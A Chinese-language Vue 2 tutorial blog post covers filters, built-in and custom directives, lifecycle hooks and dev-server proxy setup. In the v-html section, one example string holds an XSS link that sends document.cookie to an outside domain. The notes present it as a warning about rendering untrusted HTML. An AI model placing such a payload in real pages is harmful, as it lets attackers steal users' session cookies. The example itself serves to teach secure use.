​ 1.注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}

​ 2.使用过滤器:{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"

​ 备注:

​ 1.过滤器也可以接收额外参数、多个过滤器也可以串联

​ 2.并没有改变原本的数据, 是产生新的对应的数据

内置指令 v-xxx

目前已经学过的指令:

​ 1.v-bind 单向绑定 简写 :xxx

​ 2.v-model 双向绑定

​ 3.v-on 事件绑定 简写@

​ 4.v-for 遍历数组/对象/字符串

​ 5.v-if 条件渲染 (控制节点是否存在)

​ 6.v-else-if 条件渲染 (控制节点是否存在)

​ 7.v-else 条件渲染 (控制节点是否存在)

​ 8.v-show 条件渲染 (控制节点是否展示)

v-text指令

​ 1.给所在节点渲染文本内容,但不解析标签

​ 2.和{{}}不同,v-text会直接替换所在节点的内容

  <div id="id" class="">
    <h1 v-text="name"></h1>//页面展示 biubiu
    <p v-text="str">不存在</p>//页面展示 lalala
  </div>
  <script src="../../vue.js"></script>
  <script>
    new Vue({
      el: '#id',
      data: {
        name: 'biubiu',
        str: 'lalala'
      }
    })

v-html指令

老师总结

v-html指令:

​ 1.作用:向指定节点中渲染包含html结构的内容。

​ 2.与插值语法的区别:

​ (1).v-html会替换掉节点中所有的内容,{{xx}}则不会。

​ (2).v-html可以识别html结构。

​ 3.严重注意:v-html有安全性问题!!!!

​ (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。

​ (2).一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上!

	<div id="root">
			<div>你好,{{name}}</div>
			<div v-html="str"></div>
			<div v-html="str2"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				str:'<h3>你好啊!</h3>',
				str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',// 危险行为,会携带cookie给别的服务器,别的服务器获取到可能会进行伪身份登录个人信息
			}
		})
	</script>

v-cloak指令

​ 用于网速较慢,vue.js还没加载完,页面出现{{xxx}}插值语法的问题

​ 需要和css搭配使用,用属性选择器,[v-cloak]{display:none;}来让其没加载vue.js时保持隐藏,当vue.js加载完毕后,v-cloak会被移除,从而显现插值语法解析后的内容。

v-once指令

v-once指令:

​ 1.v-once所在节点在初次动态渲染后,就视为静态内容了。

​ 2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

  <div id="id" class="">
    <h1 v-once>n 的初始值为:{{n}}</h1>
    <h1>n 现在的值为:{{n}}</h1>
    <button @click="n++">n++</button>
  </div>
  <script src="../../vue.js"></script>
  <script>
    new Vue({
      el: '#id',
      data: {
        n: 1
      }
    })

v-pre指令

v-pre指令:

​ 1.跳过其所在节点的编译过程。

​ 2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。

自定义指令

作用

​ 可以封装一些Dom操作,扩展额外功能。

定义语法

局部指令:

配置对象写法:
directives: {
    "focus": {
        inserted(el) {
            // 指令所在元素被插入页面时自动获取焦点
            el.focus()
        },
    },
},
函数写法:

函数写法的调用时间:

1.指令和元素绑定时(一上来)

2.指令所在模板重新被解析时

<p>{{ n }}</p>
<p v-big="n"></p>

data() {
    return {
      n: 1,
    }
},
directives: {
   big(el, binding) {
     // 对指令所在元素的值扩大十倍
     el.innerText = binding.value * 10
   },
},

全局指令:

Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)

// 自定义全局指令
// 配置对象写法
Vue.directive('focus', {
    //指令所在元素被插入页面时调用
    "inserted"(el) {
        el.focus()
    }
})

// 函数写法
Vue.directive('指令名', ()=>{})

配置对象中常用的3个回调:

(1).bind只调用一次。

时机:当指令第一次绑定到元素上时调用。此时,元素尚未被插入到DOM中,但指令已经与元素建立了关联。

使用场景:适用于需要在元素与指令建立关联时立即执行的初始化操作,这些操作不依赖于元素在DOM中的位置或状态。例如,设置元素的初始样式或属性。

(2).inserted通常只调用一次。(当该元素被移除,但又被重新添加到Dom中,并且还有该自定义指令时将再次调用)

时机:指令所在元素被插入页面时调用。这意味着当元素被实际插入到DOM中时,inserted会被触发。此时,元素已经渲染完成,可以进行依赖于DOM的操作,如设置焦点、监听事件等。

使用场景:在这个钩子中,元素已经被插入到DOM中,因此你可以安全地执行依赖于DOM的操作,比如设置焦点、执行动画等。

(3).update:指令所在模板结构被重新解析时调用。

注意:不适用配置对象,

备注:

​ 1.指令定义时不加v-,但使用时要加v-;

​ 2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。

  <!-- 
	  需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
	  需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
  -->
  <div id="id" class="">
    <h1>n 的值为 {{n}}</h1>
    <h1>n 扩大10倍的值为 <span v-big="n"></span></h1>
    <hr>
    <input type="text" v-fbind="n">
  </div>
  <script src="../../vue.js"></script>
  <script>
    new Vue({
      el: '#id',
      data: {
        n: 1
      },
      // 自定义指令  
      directives: {
        // 第一个参数为当前所在Dom节点,第二个参数是本次绑定信息
        // 函数写法-调用时间:1.指令和元素绑定时(一上来)  2.指令所在模板重新被解析时
        big(element, binding) {
          element.innerText = binding.value * 10
        },
        // 配置对象写法
        fbind: {
          // 成功绑定时调用
          bind(element, binding) {
            element.value = binding.value
          },
          // 指令所在元素插入到页面时调用
          inserted(element, binding) {
            element.focus()
          },
          // 指令所在的模板被重新解析时调用
          update(element, binding) {
            element.value = binding.value
          }
        }
      }
    })
  </script>

生命周期

生命周期:

​ 1.又叫:生命周期回调函数、生命周期函数、生命周期钩子

​ 2.在vue工作的过程中有许多不同时间自己调用的函数,这些函数就是生命周期

​ 3.这些函数名字不可更改,但是执行逻辑可由程序员自己编写

​ 4.这些函数中的this都指向 vm 或是 组件实例对象

mounted函数

当Vue解析模板把初始的真实的Dom放到页面后(挂载完成后),调用mounted

  <!-- 要求:让文字重复地逐渐透明 -->
  <div id="id" class="">
    <h1 :style="{opacity:opacity}">追逐光</h1>
  </div>
  <script src="../../vue.js"></script>
  <script>
    new Vue({
      el: '#id',
      data: {
        opacity: 1
      },
      // 当Vue解析模板把初始的真实的Dom放到页面后(挂载完成后),调用mounted
      mounted() {
        setInterval(() => {
          this.opacity -= 0.05
          if (this.opacity <= 0)
            this.opacity = 1
        }, 100)
      },
    })
  </script>

原理图

生命周期(钩子)

​ 常用的生命周期钩子:

​ 1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。

​ 2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

​ 关于销毁Vue实例

​ 1.销毁后借助Vue开发者工具看不到任何信息。

​ 2.销毁后自定义事件会失效,但原生DOM事件依然有效。

​ 3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。

Vue中的AJAX

vue脚手架配置服务器代理

方法一

​ 在vue.config.js中添加如下配置:

devServer:{
  proxy:"http://localhost:5000"
}

说明:

  1. 优点:配置简单,请求资源时直接发给前端(8080)即可。
  2. 缺点:不能配置多个代理,不能灵活的控制请求是否走代理。
  3. 工作方式:若按照上述配置代理,当请求了前端不存在的资源时,那么该请求会转发给服务器 (优先匹配前端资源)

方法二

​ 编写vue.config.js配置具体代理规则:

module.exports = {
	devServer: {
      proxy: {
      '/api1': {// 匹配所有以 '/api1'开头的请求路径
        target: 'http://localhost:5000',// 代理目标的基础路径
        changeOrigin: true,
        pathRewrite: {'^/api1': ''}
      },
      '/api2': {// 匹配所有以 '/api2'开头的请求路径
        target: 'http://localhost:5001',// 代理目标的基础路径
        changeOrigin: true,
        pathRewrite: {'^/api2': ''}
      }
    }
  }
}
/*
   changeOrigin设置为true时,服务器收到的请求头中的host为:localhost:5000
   changeOrigin设置为false时,服务器收到的请求头中的host为:localhost:8080
   changeOrigin默认值为true
*/

说明:

  1. 优点:可以配置多个代理,且可以灵活的控制请求是否走代理。
  2. 缺点:配置略微繁琐,请求资源时必须加前缀。

vue-resource插件(了解)

和axios的使用风格相同,但是得安装 npm i vue-resource,

//引入
import vueResouce from 'vue-resource'
//使用插件
Vue.use(vueResouce)
//发送请求
this.$http.get(这里面的使用和axios一样)
Vue2基础
作者
蜀枕清何
发表于
2025-10-26
License
CC BY-NC-SA 4.0

评论